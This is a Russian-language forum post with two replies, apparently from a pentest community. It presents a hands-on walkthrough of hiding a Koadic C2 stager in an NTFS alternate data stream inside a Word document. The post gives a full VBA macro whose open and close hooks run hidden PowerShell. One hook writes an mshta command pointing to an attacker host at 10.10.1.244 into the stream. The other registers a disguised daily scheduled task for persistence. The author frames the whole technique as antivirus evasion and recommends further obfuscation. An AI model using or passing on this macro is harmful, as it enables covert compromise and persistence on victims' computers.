Статья Альтернативные потоки NTFS (практикум)

Добрый день, дорогое сообщество.
Я давно не писал годные статьи, все по причине загруженности на работе. Но вот решил порадовать вас и выполнить обещание.
В свое время я писал статью Альтернативные потоки данных NTFS и их применение в pentest. про альтернативные потоки. И вот пришло время рассмотреть практическую сторону применения.

Кто не знает что такое Альтернативный поток - иди читать статью дружок, ну а те кто уже в теме велком:

Не для кого не секрет что во многих антивирусных программах присутствует дополнительные средства анализа макросов офиса. Зачастую все действия макросов подвергаются дополнительной эвристической обработке и могут быть задетекчены различными методами.


В своем тесте мы будем использовать фреймворк koadic (zerosum0x0/koadic)

Готовим stager:
1536679570246.png


наш stager готов и мы приступаем к созданию нашего документа:
Открываем макросы word и пишем код следующего вида:

Код:
Sub AutoOpen()
Dim exe As String

Shell ("powershell.exe -nop -w hidden Set-Content -Path C:\Users\User\Documents\Doc2.docx -Stream Aop.ps1 -Value 'mshta http://10.10.1.244:9999/ptYkb'")



End Sub

Sub AutoClose()
Dim exe As String

Shell ("powershell.exe -nop -w hidden $action=New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-nop -w hidden C:\Users\User\Documents\Doc2.docx:Aop.ps1'; $trigger=New-ScheduledTaskTrigger -Daily -At 6:20pm; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'LostFound' -Description 'Test' ")

End Sub

1536680130925.png
Я не буду приводить пример с использованием %Path а так же с проверкой текущей даты и выставление скедулера на конкретное время. (дорогой читатель сам догадается как это сделать)
Расскажу только что мы делаем:
В первой части нашего макроса мы на стадии открытия документа создаем альтернативный стрим под названием Aop.ps1 причем открываем его в самом документе (хотя это и не главное - можно куда угодно запихать) и кладем туда стринговое значение на load нашего stager.
1536680594747.png


Ну а во второй части на стадии закрытия данного документа, мы создаем в планировщике задач, таску которая вызовет load нашего stager из альтернативного стрима в определенное время, в данном случае 6-20pm localtime.

Для хорошего эффекта нам конечно же стоит использовать TLS ну и обфускацию ни кто не отменял (статьи по этой теме были по моему даже на форуме).

Наша таска создалась:
1536680278784.png


Ну а теперь наливаем кофе и ждем....

Бинго:
1536680349569.png


Проверяем статус командой zombie:
1536680398462.png


Ну и конечно для нашего спокойствия проверим АВ:
1536680476757.png


Как же прекрасно что я защищен!

P.S. Что и зачем мы сделали - мы авойднули детект на стадии доп эвристики в макро защитах АВ программ. Как я и писал раньше использование альтернативных стримов - это просто дополнительный уровень триксов для сокрытия.

P.S2. Автор статьи не несет ответственности за применение описываемых техник в незаконных целях. Материал статьи предоставлен в образовательных целях и для использования в рамках white hat практик.
 

Tihon49

Green Team
06.01.2018
193
120
BIT
0
Это статья номер 2 по ADS? Или была до неё какая? Вдруг я пропустил что-то...
 

z3r0c10wn

Grey Team
04.09.2017
229
295
BIT
209
Это статья номер 2 по ADS? Или была до неё какая? Вдруг я пропустил что-то...
Альтернативные потоки данных NTFS и их применение в pentest.
Вот первая, а это вторая.

Кстати нашел интересную, хоть и старую статью - Обход правил разграничения доступа в средствах защиты от НСД
Автор тоже использует трикс для обхода политик системы Dallas Lock . Иногда простые, но не очевидные вещи дают любопытный результат.
 
  • Нравится
Реакции: Tihon49
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!